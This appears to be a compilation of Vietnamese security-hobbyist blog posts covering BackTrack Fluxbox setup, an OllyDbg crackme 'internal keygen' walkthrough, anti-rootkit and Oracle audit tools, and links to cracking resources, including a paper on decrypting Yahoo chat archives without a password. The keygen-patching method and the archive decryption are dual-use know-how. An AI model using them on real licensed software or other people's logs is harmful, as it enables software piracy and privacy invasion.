Tiếp theo gõ lệnh để cấu hình network cho nó :

bt41

Ta có thể cấu hình ssh server trên BT để móc vào bằng putty, trước tiên ta cần generate key bằng cách gõ lệnh sshd-generate :

bt42

Tiếp theo tạo thư mục /var/run/sshd và cuối cùng là chạy sshd :

bt43

_Sau khi cấu hình ssh xong, dùng putty để log vào BT, tiến hành đăng nhập :

bt44

_Ta tiền hành cài fluxbox fluxconf bằng lệnh sau :

bt45

_Sau khi cài xong, tôi loay hoay đủ kiểu không tài nào start được fluxbox. Tôi lên google tìm kiếm, đọc bung bét trang wiki của fluxbox nhưng cũng vẫn chưa ngộ ra được tôi đã fail ở đâu mà không start được. Nản quá, tôi quay lên Y!M và buzz 0day… sau cuộc trò chuyện cuối cùng 0day đã cho tôi một giải pháp đó là : Bình thường anh sau khi đăng nhập và cấu hình network cho BT xong thì anh gõ lệnh startx để vào môi trường KDE của backtrack. Anh dùng lệnh để cat thử nội dung này sẽ thấy nó load file .xinitrc …

_Tôi quay ra tìm file startx và xem nội dung của nó :

bt46

_Sau khi biết được nội dung và thấy rằng startx sẽ load file userclientrc=$HOME/.xinitrc. Tôi quay ra chat tiếp với 0day, 0day hướng dẫn tôi như sau :

1. Anh tạo cho em file .xinitrc theo đường dẫn như trên.
2. Sau đó anh vim file này và add nội dung sau cho em :

exec startfluxbox

3. Sau đó anh gõ lệnh: chmod a+x .xinitrc và cuối cùngg gõ startx cho em, anh sẽ thấy fluxbox hiện ra.

Tôi thực hiện thử theo những gì 0day nói và kết quả sau khi gõ startx thì màn hình  fluxbox đã hiện ra ngay trước mắt tôi :D
bt47

Một chút tinh chỉnh

Sau khi vào được fluxbox rồi tôi lại nghĩ, nếu vậy khi tôi gõ startx là vào thẳng fluxbox rồi. Vậy là không còn thấy được cái kde nữa, vậy tôi muốn vừa start được fluxbox mà lại vừa start được kde thì làm cách nào? Ngay lập tức 0day cho tôi câu trả lời :

1. Anh tạo cho em file có tên là fluxstart
2. Sau đó anh vim file này và thêm nội dung sau :

#!/bin/bash
echo "exec fluxbox" > ~/.xinitrc
startx
rm -rf ~/.xinitrc

3. Cuối cùng chmod +x fluxstart. Mỗi lần muốn vào flux thì anh gõ ./fluxstart , còn ngược lại anh vào kde thì lại gõ startx như bình thường.

Khà khà như vậy vấn đề đã được giải quyết xong :) . Tôi cảm ơn 0day và quay ra tiếp tục mò mẫm ^^. Tôi lại google và tình cờ đọc được bài viết “startx cho Dr. WM” của tác giả Phan Vĩnh Thịnh “teppi” đăng trên bản tin của VnOSS. Tôi đã thử tiến hành mod lại file startx của BT4 như sau :

# In ra trinh don lua chon
choice=
while [ -z "$choice" ]; do
echo "Hay chon so thu tu cua WM";
echo "1. flux";
echo "2. KDE";
# De script de nhin hon
echo -e "Nhap so =>" "\c";
read choice;
# Gan gia tri cho userclientrc tuy theo su lua chon cua nguoi dung
case "$choice" in
1) userclientrc=$HOME/.xinitrc-flux;;
2) userclientrc=$HOME/.xinitrc-kde;;
# Neu nguoi dung khong nhap dung thi nhac nho va bo dat bien choice
# de cho vong lap tiep tuc lam viec
*) echo "Hay chon so thu tu tu 1 den 2 roi go Enter"; choice=;;
esac
done
# Phan sau giu nguyen

Hình minh họa :
bt48

Save file startx đã chỉnh sửa ở trên lại, sau đó tôi tạo file .xinitrc-flux với nội dung tương tự file .xinitrc mà tôi đã được 0day hướng dẫn tạo trước đó. Sau khi chỉnh sửa xong và chmod +x cho file .xinitrc-flux , tôi tiến hành thử nghiệm bằng cách gõ startx :
bt49

Tôi chọn 1 và nhấn Enter, màn hình Fluxbox đã hiện ra :D .

Thiết lập hình nền

Sau khi boot vào FluxBox tôi dòm cái Style của nó hơi ẹ tí ^^. Tôi đổi thử sang một cái style khác trông gọn gàng hơn, đây vẫn là những style sẵn có khi chúng ta cài fluxbox vào, phần sau tôi sẽ hướng dẫn add thêm một style ngoài. Tôi chọn cái Emerge Style, dòm trông cũng gọn gàng hẳn :D

bt50

Bước tiếp theo tôi sẽ thiết lập hình nên quen thuộc của BT4 mà ta thấy khi start vào kde. Đọc trên Wiki và các tài liệu khác thì nói là cấu hình lại file startup trong thư mục $HOME/.fluxbox/startup. Tôi xác định đường dẫn đến file hình nền và edit lại file startup như sau :

root@bt:~# locate -i origin2
/root/.fvwm/wallpaper-thumbnails/usr/share/wallpapers/origin2.jpg
/root/.kde3/share/apps/kstyle/themes/original/wallpapers/desktop/origin2.jpg
/root/.kde3/share/apps/kthememanager/themes/original/wallpapers/desktop/origin2.jpg
/usr/share/wallpapers/origin2.jpg

bt51

Sau khi sửa file xong tôi save lại, chọn tính năng Reconfigure từ Fluxbox menu và exit khỏi FluxBox. Sau đó lại gõ startx để vào lại fluxbox, Wow… cái hình nền quen thuộc đã hiện ra trước mắt tôi lolz

bt52

Chạy Conky

BT4 đã được tích hợp sẵn ứng dụng Conky, tôi có đọc một bài viết của bác 281 trên HVA (http://www.hvaonline.net/hvaonline/posts/list/18998.hva) giới thiệu về conky, cách cài đặt cũng như tinh chỉnh :

Conky là một ứng dụng có thể hiển thị các thông tin về hệ thống của bạn, chẳng hạn như dữ liệu về “nhân hệ điều hành – kernel”, tình trạng của CPUs, RAM, HDD, …

Khác với các ứng dụng theo dõi hệ thống thông thường như “top”, conky sẽ in các dữ liệu ra cửa sổ root trong X11 (mặc dù conky cũng có khả năng làm việc này ở chế độ cửa sổ thông thường – windowed mode).

Các dữ liệu về hệ thống sẽ được Conky biểu diễn ở dạng chữ (Text), đồ thị (Graph), biểu đồ thanh ngang (bar). Bên cạnh các thông tin về hệ thống, Conky còn có thể hiển thị tình trạng hoạt động của các ứng dụng khác như music player (xmms, audacious,…), E-mails, RSS-Feeds, chương trình truyền hình, thời tiết,…

Một ưu điểm quan trọng khác của Conky so với “top” là người sử dụng được thoải mái cấu hình và định dạng các dữ liệu, sao cho các thông tin này được hiển thị theo ý muốn, tạo nên sự khác biệt cho mỗi người sử dụng.

Tôi cho conky start cùng với fluxbox như sau, đọc trong file startup của fluxbox tôi thấy có đoạn :

# Applications you want to run with fluxbox.
# MAKE SURE THAT APPS THAT KEEP RUNNING HAVE AN ”&” AT THE END.
#
# unclutter -idle 2 &
# wmnd &
# wmsmixer -w &
# idesk &

Do đó tôi chỉ cần thêm vào dòng sau :

bt53

Sau khi edit xong tôi lại chọn Reconfigure từ menu của FluxBox, tiếp theo tôi exit khỏi flux và lại vào lại. Kết quả tôi có được như sau :
bt54

Trông cái conky của BackTrack khó nhìn quá, tôi mạn phép mượn cái cấu hình của bác 281, save thành file .conkyrc và up vào thư mục $HOME. Ta backup cái conky của BT4 trước rồi mới up lên ^^. Kết quả có được như sau :

bt55

Edit lại menu cho BT4

Tôi chưa có thời gian để tạo menu cho BT4 nên đành load tạm cái menu của BT3 mà một tác giả nào đó đã create và thảo luận trên site http://remote-exploit.org/. Sau khi đẩy menu lên tôi load lại fluxbox và có được menu như sau :

bt56

Thêm Style cho FluxBox

Tôi load thử một style tại đây : http://dugnet.com/klown/wallpaper/show.php?id=_themes/_fluxbox/sn33z và sau đó tôi up vào thư mục styles trong $HOME/.fluxbox. Sau khi up xong tôi chọn Reconfigure từ fluxbox menu. Cuối cùng tôi chọn style vừa mới up lên như sau :

bt57

Style sau khi apply :

bt58

Như vậy là tạm xong quá trình tìm hiểu về Fluxbox. Hi vọng các bạn sẽ bắt đầu cảm thấy có hứng thú với fluxbox như tôi.

Best Regards
m4n0w4r

b. Ví dụ 2 :

Phần tiếp theo , chúng ta sẽ làm thêm một ví dụ nữa. Ở ví dụ này chúng ta sẽ thực hành trên một crackme. Cách thức thực hiện trên crackme cũng hoàn toàn tương tự như khi chúng ta thực hiện đối với Software ở trên. Oki, chúng ta bắt đầu : ).
Chạy thử Crackme, tiến hành nhập thông tin và nhấn nút “Check It!”. Chằng thấy có Nag nào bắn ra cả.

ex1

Nhấn nút “Give Up!” để exit .Mở Ollydbg lên và load crackme vào (crackme này được code bằng Microsoft Visual C++ 6.0).
Sau khi load xong , dùng chức năng Search For \ All referenced text strings để tìm kiếm thông tin. Chúng ta có được kết quả như sau :

ex2

Double Click tại 00401639 chúng ta sẽ quay trở lại màn hình chính của Ollydbg. Dịch lên một chút , ta đặt BP tại 004015BC. Nhấn F9 để Run , tiến hành nhập lại Fake Information. Sau đó nhấn “Check It!”, Ollydbg sẽ Ice tại điểm đặt BP. Nhấn F8 để Trace, chúng ta sẽ có như sau :

ex3

Như mọi người nhìn thấy thì Crackme này sẽ tiến hành một số quá trình kiểm tra như sau : Độ dài của UserName mà chúng ta nhập vào phải thỏa mãn điều kiện là 5 < Length(FakeUser) < 20. Bên cạnh đó thì chiều dài của FakeSerial mà chúng ta nhập vào cũng phải bằng với chiều dài của FakeUser. Nếu như chúng ta nhập đúng các thông tin thỏa mãn tất cả các điều kiện trên thì chúng ta sẽ vượt qua được quá trình check này. Sau đoạn check ở trên chúng ta sẽ gặp một vòng lặp tính toán ra Real Serial của Crackme . Cụ thể như sau :

ex4

Do đặc thù của kĩ thuật Internal Keygen như đã nói ở trên , ở đây ta không cần quan tâm đến quá trình tính toán Serial như thế nào. Ta chỉ cần biết rằng đây chính là vòng lặp dùng cho việc tính ra Real Serial và giá trị trong thanh ghi AL tại địa chỉ 00401629 chính là giá trị RealSerial sau mỗi quá trình tính toán của vòng lặp . Vòng lặp này có số lần lặp phụ thuộc vào chiều dài của chuỗi UserName mà chúng ta nhập vào.
Nhưng mọi người để ý rằng, ngay tại lần lặp đầu tiên giá trị thứ nhất của RealSerial sẽ được tính toán , sau đó giá trị này được lưu vào thanh ghi AL. Tiếp theo , tại địa chỉ 00401629 là quá trình so sánh kí tự đầu tiên trong chuỗi Fake Serial mà chúng ta nhập vào với giá trị Real Serial lưu trong thanh ghi AL. Nếu 2 giá trị này khác nhau thì ngay lập tức sẽ có một lệnh nhảy thoát ra khỏi vòng lặp tính toán. Vậy tức là nếu như ngay từ đầu kết quả so sánh này đã sai thì chúng ta luôn bị out khỏi vòng lặp và sẽ không thể biết hểt được giá trị tiếp theo sẽ sinh ra của chuỗi Real Serial. Đây là điều mà chúng ta không muốn! Vậy hướng giải quyết ở đây là thế nào?

Để ý rằng dưới câu lệnh :

00401629 . 38040A CMP BYTE PTR DS:[EDX+ECX], AL ; <== FakeSerial[i] = Temp ?

là một lệnh nhảy làm cho chúng ta out ra khỏi vòng lặp tính toán :

0040162C . /75 1C JNZ SHORT Rith_Cra.0040164A ; <== If not, Jump to Bad boy

nhưng chúng ta thấy rằng, chuỗi FakeSerial của chúng ta được đưa vào thanh ghi EDX. Mà giá trị trong BYTE PTR DS:[EDX+ECX] chính là kí tự đầu tiên của chuỗi Fake Serial(lúc đầu ECX = 0). Quan sát thấy , ngay dưới lệnh nhảy ở trên là lệnh :

0040162E . 41 INC ECX ; <== i ++

Vậy ta có thể kết luận một điều rất quan trọng như sau : Nếu như giá trị trong BYTE PTR DS:[EDX+ECX] = AL (tức là giá trị đầu tiên của chuỗi FakeSerial mà chúng ta nhập vào bằng với giá trị RealSerial của quá trình tính toán) thì chúng ta sẽ không bị out khỏi vòng lặp tại lệnh nhảy , do đó giá trị ECX sẽ tăng lên để trỏ tới vị trí tiếp theo trong chuỗi FakeSerial. Vậy thì ngay tại chỗ này , chúng ta nảy ra một ý tưởng là , chúng ta sẽ dùng chính chuỗi FakeSerial này để lưu chuỗi Serial của quá trình tính toán.

Để thực hiện được điều này chúng ta chỉ việc thay đổi câu lệnh so sánh tại 00401629. Tại địa chỉ này, nhấn Space để mở cửa sổ Assemble , chúng ta edit lại như sau :

ex6

Tiếp theo chúng ta sẽ NOP câu lệnh nhảy tại 0040162C. Ta sẽ có được như sau :

ex7

Oki , tiến hành Run thử và Dump tại thanh ghi EDX , chúng ta sẽ có được kết quả mà chúng ta mong muốn . Vậy là qua bước thứ nhất tìm ra nơi tính toán RealSerial và nơi lưu trữ giá trị RealSerial :

ex8

Bước tiếp theo chúng ta sẽ cho hiện cái RealSerial này thông qua cái MessageBox. Công việc này hết sức đơn giản. Chúng ta chỉ việc trỏ tới vị trí của dòng :

0040163E 68 20304000 PUSH Rith_Cra.00403020 ; ASCII "Well done cracker!"

sau đó nhấn Space và sửa thành :

PUSH EDX

Cuối cùng chúng ta Save thành quả của chúng ta thành một file exe. Chạy file này lên, nhập thông tin vào nhớ là chiều dài UserName phải bằng với chiều dài Serial nhập vào : ). Chúng ta sẽ có được kết quả như sau :

ex10

Vậy là thành công rồi !!!

Best Regards
_[Kienmanowar]_

–++–==[ Greatz Thanks To ]==–++–
My family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker,
the_Lighthouse, Merc, Hoadongnoi, Nini … all REA‘s members, TQN, HacNho, RongChauA,
Deux, tlandn, light.phoenix, dqtln, ARTEAM …. all my friend, and YOU.

–++–==[ Thanks To ]==–++–
iamidiot, WhyNotBar, trickyboy, dzungltvn, takada, hurt_heart, haule_nth, hytkl v..v..

I want to thank Teddy Roggers for his great site, Reversing.be folks(especially haggar),
Arteam folks(Shub-Nigurrath, MaDMAn_H3rCuL3s) and all folks on crackmes.de, thank
to all members of unpack.cn (especially fly and linhanshi). Great thanks to lena151(I like
your tutorials). And finally, thanks to RICARDO NARVAJA and all members on
CRACKSLATINOS.

>>>> If you have any suggestions, comments or corrections email me: kienmanowar[at]reaonline.net

Sau một hồi lọ mọ và hỏi 0day, cuối cùng cũng cài được cái Artwiz font cho BackTrack. Kết quả trông thật mượt mà thanh thoát :D

done

PS: Rảnh rỗi sẽ tổng kết lại quá trình cài đặt ^^

CodeWalker: Another AntiRootkit Tool
Author : Thug4lif3 (aka Sơn “bird”, my brother :D )


He has developed an antirootkit tool called CodeWalker which can:

+ Detect hidden processes
+ Detect hidden drivers
+ Detect hidden files (support NTFS only)
+ Detect hooks in both kernel mode and usermode.
+ Works on Windows English 2000/XP/2003/Vista/2008.

The tool is currently in beta stage and im looking for people for testing it. I’ve already tested it with all rootkits samples I have and its detection rate seems optimistic. I think it’s very great if you guys test it against your rootkit zoo and provide the result you got with the tool. If there’s BSOD (of cos, you can never write a bug free proggie, rite? :P ), it would be very appreciated of you to upload minidumps to help me correct the tool. Thanks in advance.

I will update this tool frequently for new detection methods, bug fixs etc. Welcome for your all suggestions, bugs and minidumps

In this beta version, the main improves to other ark is heavily put in hidden driver object (System Modules tab) and code hooking detection.

For hidden driver detection, you can test it with some pretty well hidden driver PoC such as phide_ex and many builds of Rustock.B variants. Although you have to use the “Hardcore Scan” method to detect them.

For code hooking detection, the engine walks all the branches of scanned module i.e any execution path of it to detect modification (btw, that’s why i call it CodeWalker). IMHO, It can detect code hooking very well especially with rootkits that place abnormal hooks, although there’re false-positive detections.

Here’s the tool:

http://cmcinfosec.com/download/cmcark.zip
or
https://www.rootkit.com/vault/thug4lif3/cmcark_cw.0.2.2.9.12.rar

Thanx Thug4lif3 for sharing his Tool.

Đang tìm hiểu cách liệt kê các patch đã được apply vào hệ thống như thế nào. Đọc một số tài liệu công thêm google, tôi thu thập được một số phương pháp dưới đây.

1. Sử dụng công cụ OPatch của Oracle:

Đây là một công cụ khá hay dùng để apply các patch hoặc dùng để liệt kê các patch đã được appy bằng OPatch. Mục đích chủ yếu của nó dùng để quản lý các “interim patch”. Sau khi cài đặt vào hệ thống, công cụ này sẽ được đặt theo đường dẫn dưới đây : $ORACLE_HOME/OPatch. Ta có thể đưa đường dẫn này luôn vào Path environment của hệ thống đề sau này chỉ cần gõ opatch là xong :D .

Chạy thử opatch ta có được thông tin như sau :

[applmgr@test ~]$ opatch
Invoking OPatch 10.2.0.3.0

Oracle interim Patch Installer version 10.2.0.3.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..

Usage: opatch [ -help ] [ -r[eport] ] [ command ]

command := apply
lsinventory
query
rollback
version
prereq
util

:= -help Displays the help message for the command.
-report Print the actions without executing.

example:
‘opatch -help’
‘opatch apply -help’
‘opatch lsinventory -help’
‘opatch rollback -help’
‘opatch prereq -help’
‘opatch util -help’

OPatch succeeded.

Để liệt kê patches sử dụng câu lệnh :

opatch lsinventory
Invoking OPatch 10.2.0.3.0

Oracle interim Patch Installer version 10.2.0.3.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..

Oracle Home : /oracle/vd11db/10.2
Central Inventory : /etc/oraInventory
from : /etc/oraInst.loc
OPatch version : 10.2.0.3.0
OUI version : 10.2.0.3.0
OUI location : /oracle/vd11db/10.2/oui
Log file location : /oracle/vd11db/10.2/cfgtoollogs/opatch/opatch2009-03-11_15-56-39PM.log

Lsinventory Output file location : /oracle/vd11db/10.2/cfgtoollogs/opatch/lsinv/lsinventory2009-03-11_15-56-39PM.txt

——————————————————————————–
Installed Top-level Products (3):

Oracle Database 10g 10.2.0.1.0
Oracle Database 10g Products 10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 2 10.2.0.3.0
There are 3 products installed in this Oracle Home.

Interim patches (3) :

Patch 5257698 : applied on Mon May 26 18:07:48 ICT 2008
Created on 29 Jun 2006, 07:12:38 hrs US/Pacific
Bugs fixed:
5257698

Patch 5556081 : applied on Mon May 26 17:29:07 ICT 2008
Created on 9 Nov 2006, 22:20:50 hrs PST8PDT
Bugs fixed:
5556081

Patch 5557962 : applied on Mon May 26 17:28:56 ICT 2008
Created on 9 Nov 2006, 23:23:06 hrs PST8PDT
Bugs fixed:
4269423, 5557962, 5528974

Nếu muốn liệt kê các thông tin chi tiết, ta dùng câu lệnh :

opatch lsinventory -detail
Interim patches (3) :

Patch 5257698 : applied on Mon May 26 18:07:48 ICT 2008
Created on 29 Jun 2006, 07:12:38 hrs US/Pacific
Bugs fixed:
5257698
Files Touched:
lx40003.nlb –> ORACLE_HOME/nls/data/old/lx40003.nlb
lx40030.nlb –> ORACLE_HOME/nls/data/old/lx40030.nlb
Patch Location in Inventory:
/oracle/vd11db/10.2/inventory/oneoffs/5257698
Patch Location in Storage area:
/oracle/vd11db/10.2/.patch_storage/5257698_Jun_29_2006_07_12_38

Patch 5556081 : applied on Mon May 26 17:29:07 ICT 2008
Created on 9 Nov 2006, 22:20:50 hrs PST8PDT
Bugs fixed:
5556081
Files Touched:
SecureGenKeystore.pm –> ORACLE_HOME/sysman/admin/scripts/SecureGenKeystore.pm
Patch Location in Inventory:
/oracle/vd11db/10.2/inventory/oneoffs/5556081
Patch Location in Storage area:
/oracle/vd11db/10.2/.patch_storage/5556081_Nov_9_2006_22_20_50

Patch 5557962 : applied on Mon May 26 17:28:56 ICT 2008
Created on 9 Nov 2006, 23:23:06 hrs PST8PDT
Bugs fixed:
4269423, 5557962, 5528974
Files Touched:
/oracle/sysman/eml/app/ContextInitFilter.class –> ORACLE_HOME/sysman/jlib/emCORE.jar
/oracle/sysman/eml/jobs/JobsListBean.class –> ORACLE_HOME/sysman/jlib/emCORE.jar
/oracle/sysman/eml/jobs/JobSql.class –> ORACLE_HOME/sysman/jlib/emCORE.jar
/_jobs/_jobsList.class –> ORACLE_HOME/sysman/jlib/emjsp.jar
/_jobs/_jobsList$__jsp_StaticText.class –> ORACLE_HOME/sysman/jlib/emjsp.jar
jobs_ui_pkgbody.sql –> ORACLE_HOME/sysman/admin/emdrep/sql/core/latest/jobs/jobs_ui_pkgbody.sql
jobs_ui_pkgdef.sql –> ORACLE_HOME/sysman/admin/emdrep/sql/core/latest/jobs/jobs_ui_pkgdef.sql
jobs_types.sql –> ORACLE_HOME/sysman/admin/emdrep/sql/core/latest/jobs/jobs_types.sql

2. Sử dụng registry$history dictionary table :

col action_time for a28
col action for a6
col namespace for a9
col version for a10
col id for 99999999
col comments for a10
select * from registry$history;

Một số kết quả

SQL> select * from registry$history;

ACTION_TIME ACTION NAMESPACE VERSION ID COMMENTS
—————————- —— ——— ———- ——— ———-
06-FEB-09 01.23.16.294350 PM UPGRAD SERVER 10.2.0.3.0 Upgraded f
E rom 9.2.0.
6.0

Or

select * from registry$history;

ACTION_TIME ACTION NAMESPACE VERSION ID COMMENTS
—————————- —— ——— ———- ——— ———-
30-JAN-06 12.31.23.139000 PM CPU SERVER 10.2.0.1.0 4751539 CPUJan2006

3. Tìm kiếm thông tin trong $ORACLE_HOME/.patch_storage/patch_logfile

Ví dụ trên hệ thống của tôi, tôi truy cập đến thư mục : /oracle/vd11db/10.2/.patch_storage. Liệt kê nội dung của thư mục này tôi có được :

[applmgr@test .patch_storage]$ ls -la
total 44
drwxr-x--- 5 applmgr oracle 4096 May 26 2008 .
drwxr-xr-x 66 applmgr oracle 4096 May 27 2008 ..
drwxr-xr-x 6 applmgr oracle 4096 May 26 2008 5257698_Jun_29_2006_07_12_38
drwxr-x--- 6 applmgr oracle 4096 May 26 2008 5556081_Nov_9_2006_22_20_50
drwxr-x--- 7 applmgr oracle 4096 May 26 2008 5557962_Nov_9_2006_23_23_06
-rw-r--r-- 1 applmgr oracle 0 May 26 2008 patch_free

Best Regards
m4n0w4r

Author: RCA (The member of REA-cRaCkErTeAm :) )
Today he show off his research, hope all of you find some interesting information!!

Yahoo Messenger is a popular chat client around the world with many interesting features. One of these features is achieving our chat and the chat log can be viewed in future. The chat log can be viewed after logging into Yahoo Messenger. But there are some programs which can view the archive without logging. Therefore there must be a way to decrypt this log without password. So I write a small documentation to describe how we can reverse the encrypted message to clear one.

Download his paper :
http://rongchaua.net/Web/Tut/Reverse/Crypto/Yahoo Archive Decode.zip

Best Regards
m4n0w4r


Hướng dẫn : Sử dụng chương trình Scuba để rà soát security cho Oracle Database

Nội dung chính

Giới thiệu

Cài đặt Scuba

Cấu hình để kết nối tới Database cần test

Test Configuration

Output Options Configuration

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Xuất kết quả ra báo cáo


Giới thiệu

Scuba là một công cụ nhỏ gọn dùng để đánh giá cơ sở dữ liệu, nó được sử dụng để thu thập các thông tin cấu hình liên quan tới security của một database. Bằng việc sử dụng Scuba có thể giúp chúng ta tìm ra hàng trăm thiếu sót như unpatched sofware (phần mềm chưa cập nhật bản vá), unsafe processes (các tiến trình không an toàn), weak passwords (các mật khấu “yếu”) , qua đó giúp ta đánh giá được những lỗi có độ rủi ro cao mà từ đó khiến cho cơ sở dữ liệu của chúng ta có khả năng bị tấn công bất cứ lúc nào.

Điều đặc biệt là Scuba hoàn toàn free, được viết bằng Java, nó hỗ trợ scan các db phổ biến như : Oracle, DB2, MS-SQL  để tìm ra các lỗi cũng như những thiếu sót trong việc cấu hình.Dựa trên kết quả mà chương trình đánh giá được, Scuba sẽ ghi lại kết quả vào một file XML và kèm theo các mẫu báo cáo có sẵn của nó để xuất ra các báo cáo chi tiết dựa trên kết quả mà nó đã thu thập được.

Theo đánh giá của Pete Finnigan, một chuyên gia hàng đầu trong lĩnh vực Oracle Security thì Scuba thường được sử dụng để tìm ra những lỗi “simple”, và vì nó là một công cụ free cho nên việc đánh giá của nó sẽ không toàn diện được như những công cụ thương mại. Tuy nhiên, cá nhân ông vẫn xem Scuba là một công cụ hữu ích cho những nhà quản trị cơ sở dữ liệu.

Cài đặt Scuba

Để cài đặt Scuba trước tiên chúng ta phải download công cụ tại: http://www.imperva.com/products/scuba.html . Điền đầy đủ các thông tin yêu cầu bạn sẽ nhận được email cung cấp đường dẫn để download chương trình. Scuba là một file thực thi độc lập, chúng ta không cần phải cài đặt. Chương trình yêu cầu tối hiểu hệ thống phải cài đặt JRE phiên bản từ 1.4 trở lên để chạy được chương trình. Scuba bao gồm một file cấu hình test cơ bản và một số báo cáo mẫu dùng cho việc xuất kết quả. Khi ta chạy chương trình lần đầu tiên, nó yêu cầu chúng ta điền một số các thông tin để hoàn tất quá trình đăng kí sử dụng cũng như chấp nhận các điều khoản của chương trình.

Để chạy được Scuba ta cần thực hiện theo ba bước:

  1. Cấu hình Database connection.
  2. Lựa chọn file test và cấu hình các thống số test.

Thiết lập Output location để lưu file kết quả và lựa chọn mẫu báo cáo.

Cấu hình để kết nối tới Database cần test

Sau khi cài đặt xong chương trình, mặc định màn hình DB Config của Scuba hiện lên như sau :

scuba1

Màn hình này yêu cầu chúng ta cung cấp các thông tin cần thiết để kết nối tới Database Server :

  1. DB Type :

Lựa chọn kiểu DB, các db mà chương trình hỗ trợ :

  • Oracle (versions 8i through 10gR2)
  • MS SQL (versions 6 through 2005)
  • Sybase (versions 11.x – 15.x)
  • DB2 (8.x and all versions with support for DRDA communications)

2. Host :
Nhập host name hoặc ip của máy chủ database.

3. Port :

Nhập cổng mà DB server đang lắng nghe, nếu là Oracle thì mặc định là 1521. Nếu bạn cấu hình để listener lắng nghe trên một cổng khác thì nhập lại vào phần Port. Bảng ánh xạ các port :

scuba24. DB Name :

Trường này là cần thiết khi bạn lựa chọn loại cơ sở dữ liệu là Oracle hoặc DB2. Các trường hợp khác thì để trống. Đối với cơ sở dữ liệu Oracle thì trường DB Name này ta cần nhập SID (Service ID).

5. Windows Authentication :

Trường này được sử dụng trong trường hợp lựa chọn Db Type là MS SQL Server.

6.User :

Account của người sử dụng hợp lệ dùng để đăng nhập vào DB. Nên chọn account có đủ quyền trong việc truy cập dữ liệu đặc biệt là các Data Dictionary trên Db server.

7.Password :

Mật khẩu để xác thực.

Sau khi cung cấp đầy đủ toàn bộ thông tin liên quan, nhấn nút “Test Connectivity” để kiểm tra việc kết nối tới DB có thành công hay không? Nếu thành công ta sẽ nhận được thông báo sau :

scuba3

Test Configuration

Chọn phần Test Config, màn hình test config xuất hiện như sau :

scuba4

Trước khi chạy chương trình để đánh giá DB được chọn ta cần cấu hình các mục tại phần Test Config. Bao gồm :

  1. File :

Đường dẫn đến file testconfig.xml, đây là một file xml bao gồm các mô tả về việc test mà sẽ được áp dụng cho DB mà chúng ta cần rà soát. Scuba đã cung cấp cho chúng ta một file mặc định, đi kèm với nó là thông tin về Date mô tả thời gian về lần cập nhật cuối cùng cho file này. Để cập nhật các thông tin mới nhất ta chọn phần Check For Updates.

  1. Max Info :

Giá trị trong trường này có thể được sử dụng để hạn chế về lượng thông tin kiểm tra bị thất bại mà ta thu thập từ cơ sơ dữ liệu

  1. Parameters :

Trong thực tế nhiều DB được cấu hình với một số các policy chẳng hạn Password Policy, thông tin trong trường parameters cho phép ta rà soát liên quan tới Policy đã được cấu hình bởi các nhà quản trị. Lấy ví dụ: độ dài tối thiểu cho một password mới là bao nhiêu, thời gian hết hiệu lực của password v..v.. Bạn có thể thay đổi các giá trị Parameter cho phù hợp với mục đích kiểm tra của mình.

PS: Trong bài viết này của tôi, mọi thông tin trong phần Test Config đều được để nguyên theo mặc định của chương trình.


Output Options Configuration

Tiếp theo ta chuyển qua phần Output Config, màn hình cấu hình như sau :

scuba5

Trước khi thực hiện việc rà soát cơ sở dữ liệu ta cần cấu hình để Scuba lưu thông tin kết quả của quá trình kiểm tra ra một file. Trong trường hợp của tôi, mọi thông tin thu được sẽ được xuất ra file results.xml.

Sau khi thực hiện xong việc rà xoát, dựa trên file kết quả này chúng ta có thể tạo ra các báo cáo dựa trên template là các file XSL có sẵn của Scuba. Chương trình bao gồm các mẫu báo cáo sau :

  • Scuba_Assessment_Report.xsl for reporting on all executed tests
  • Scuba_Summary_Report.xsl for a graphical summary of the assessment run
  • Scuba_Assessment_Report(No Details).xsl
  • ScubaOutputTransformOnlyFailedTests.xsl for reporting all tests that failed
  • ScubaOutputTransformOnlyInfo.xsl for reporting information only tests

Tùy chọn Use External Browser cho phép chúng ta sử dụng IE browser để hiện thị các báo cáo. Nếu như ta không chọn tùy chọn này thì kết quả sẽ hiện thị trong một Java text pane.

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Sau khi toàn bộ các thông tin liên quan về việc cấu hình đã hoàn tất, giờ là lúc ta tiến hành rà soát cơ sở dữ liệu của mình. Đơn giản chỉ bằng việc nhấn nút Go, chương trình sẽ thực hiện tự động và lưu kết quả vào file results.xml đồng thời hiện thị thông báo sau khi hoàn tất quá trình thực hiện.

Môi trường thử nghiệm của tôi như sau :

OS: Enterprise Linux Enterprise Linux AS release 4 (October Update 5)

Oracle DB Version: Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – Prod

Oracle SID: VD11

Host Name: test

scuba6

Xuất kết quả ra báo cáo

Sau khi quá trình rà soát hoàn tất, bước cuối cùng là xuất kết quả kiểm tra ra các file báo cáo để theo dõi, qua đó tổng kết các thông tin liên quan tới security của DB. Dựa vào các thông tin này, ta có thể điều chỉnh để “Hardening Our Database” :) !

scuba7

scuba8

scuba9

Tài liệu tham khảo: Scuba_Users_Guide.pdf

Best Regards

m4n0w4r

PS : Vui lòng chỉ rõ tác giả và nguồn khi các bạn sử dụng lại tài liệu này :)

Hi everybody, it’s a great pleasure to announce the release of the new issue of our eZine. It was a real hard work to assemble all these contributions, but the final result in my opinion is really good.

A 160 pages issue with releases, hopefully all of quality. Coming to this issue, it is focused on non-windows reversing, or better on non-win32 reversing. There are insights into the Linux world (Externalist, Gunther) and the Palm (wast3d_bytes has released independently another Palm issue, which has been extended exclusively for this eZine, I also added an interesting video tutorial from Suntzu). There are also two interesting contributions into .NET advanced concepts and one about classical reversing from Gyver75, which I added for the passion for reversing it clearly shows, besides quality of the work.

This walkthrough is completed by a series of video tutorials prepared by argv about live debugging Symbian systems, not only using IDA. The non-win32 tutorials are just a completion of the activity we had already started a long time ago, investigating new reversing worlds like the already known Symbian, iPhone, .NET and Mac.

Very soon our new web site will finally open, meanwhile you can find this issue on our mirror: http://xchg.info/ARTeam/Tutorials/index.php?dir=ARTeam_eZine/&file=ARTeam_eZine_Number4.rar (it’s a 44Mb pack. sorry, but the supplements are several)

Have phun.

BR,

Shub

dup

Diablo2oo2′s Universal Patcher V2.19 Final

[Features]
-multiple file patcher
-create Offset and Search&Replace patch/loader
-compare files (RawOffset and VirtualAddress) with different filesize
-text patcher
-registry patcher, also for loaders
-attach files to patcher
